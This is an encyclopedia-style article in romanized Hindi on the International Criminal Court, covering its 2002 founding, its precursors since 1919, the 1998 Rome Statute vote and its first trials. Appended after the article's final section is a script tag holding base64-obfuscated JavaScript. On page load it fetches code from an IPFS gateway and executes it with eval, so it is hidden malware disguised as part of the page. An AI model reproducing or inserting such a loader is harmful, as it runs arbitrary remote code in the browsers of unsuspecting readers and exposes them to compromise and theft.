अंतरराष्ट्रीय आपराधिक न्यायालय

thumb|250px|aantararashtriy aparadhik nyayalay ka pratik aantararashtriy aparadhik nyayalay (sankshipt nam- 'aeesisi', aangrezi: International Criminal Court or ICC) ek sthayi nyayadhikaran hai, jisamean janasanhar, manavata ke khilaf aparadh, yuddh aparadhoan aur akraman ka aparadh ke lie aparadhiyoan ke khilaf mukadama chalaya jata hai. aantararashtriy aparadhik nyayalay ka nirman 1945 ke bad se aantararashtriy qanoon ka shayad sabase mahattvapoorn sudhar raha hai.

sthapana

yah adalat 1 julaee, 2002 ko astitv mean aee. yah keval apani sthapana ya us tithi se bad ke dinoan mean kie ge aparadhoan par mukadama chala sakati hai. adalat ki adhikarik baithak d heg, nidaralaiand mean hoti hai, lekin isaki karravaee kahian bhi ho sakati hai.

itihas

1919 mean 'peris pis kanphreans' ke dauran 'kamishan aauf resapoansibilitij' ke dvara yuddh aparadh ke aropi rajanitik netaoan par mukadama chalane ke lie pahali bar aantararashtriy nyayadhikaran ki sthapana ki gee. 1 navambar-16 navambar, 1937 ko 'lig aauf neshans' ke tatvavadhan mean jeneva mean ayojit sammelan mean is mudde ko ek bar phir uthaya gaya, lekin koee vyavaharik parinam hasil nahian hua. 'sanyukt rashtr' ne kaha ki nuremabarg aur tokyo nyayadhikaran ke bad 1948 mean dvitiy vishv yuddh ke dauran hue is prakar ke atyachar ko nipatane ke lie mahasabha ne pahali bar sthayi aantararashtriy adalat ki hone ki avashyakata ko pahachana hai. mahasabha ke anurodh par 1950 ke dashak ke prarambh mean 'aantararashtriy vidhi ayog' ne do vidhiyoan ko taiyar kiya, lekin inhean ek shit yuddh ki tarah sthagit kar diya gaya aur ek rajanitik roop se avastavik aantararashtriy aparadhik adalat ka nirman kiya gaya.

dvitiy vishv yuddh ke bad nazi yuddh aparadhiyoan ke jaanchakarta aur ameriki adhikariyoan dvara nuremabarg par ayojit 12 sainy jaanchoan mean se ek ainasatzagroopen mukadame par sanyukt rashtr sena ke lie ek mukhy abhiyojak, beanjamin bi phereanchz bad mean ek aantararashtriy qanoon ke shasan ki sthapana ke sath hi usake ek mukhar pairokar ban ge. 1975 mean unaki pahali pustak prakashit huee, jisaka nam 'diphainiang iantaraneshanal agreshan-d sarch ph aaur varld pis' tha, isamean unhoanne ek aantararashtriy adalat ki sthapana ke lie tark diya. 1989 mean yah vichar punarjivit hua, jab tatkalin trinidad aur tobaigo ke pradhanamantri e.en.ar. r aaubinsan ne avaidh dava vyapar se nipatane ke lie ek sthayi aantararashtriy adalat ke nirman ka prastav kiya. jabaki praroop adhiniyam par kam shuroo kiya gaya, aantararashtriy samuday ne poorv yoogoslaviya aur ravaanda mean yuddh aparadhiyoan par mukadama chalane ke lie tadarth adhikaranoan ki sthapana ki aur ek bar phir aantararashtriy aparadhik nyayalay ki avashyakata ko ujagar kiya.

rom sanvidhi

age ke varshoan ki batachit ke bad sanyukt rashtr mahasabha ne sandhi ko aantim roop dene ke uddeshy se joon, 1998 mean rom mean ek sammelan bulaya. 17 julaee, 1998 ko aantararashtriy aparadhik nyayalay ki rom sanvidhi ko 120 samarthan vot aur 7 virodhi vot dvara apanaya gaya, jisamean 21 deshoan ne bhag nahian liya tha. ve sat desh, jinhoanne sandhi ke khilaf apana vot diya, ve the- chin, irak, ijarayal, libiya, katar, sanyukt rajy amerika aur yaman.

mahattvapoorn bindu

• 11 aprail, 2002 ko rom sanvidhi ek badhyakari sandhi bani, jab 60 deshoan ne ise manjoori di. qanooni taur par 1 julaee, 2002 ko sanvidhi ko lagoo kiya gaya aur aeesisi keval us tithi ke bad hue aparadhoan par hi mukadama chala sakati hai. faravari, 2003 mean sadasy deshoan ki sabha dvara 18 nyayadhishoan ke pahale beanch ka chunav kiya gaya.
• 1 march, 2003 ko adalat ke udghatan satr mean unhoanne shapath grahan ki. adalat ne apana pahala giraftari varant 8 julaee, 2005 ko jari kiya aur pahali poorv-jaanch ki sunavaee 2006 mean ayojit ki gee.
• aeesisi ki pahali jaanch kaangolij milishiya neta th aaumas lubanga ke viruddh 26 janavari, 2009 ko shuroo huee thi. 24 navambar, 2009 ko koangolij milishiya neta jarmen katanga aur matheu gudajolo chooee ke viruddh doosari jaanch shuroo huee.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>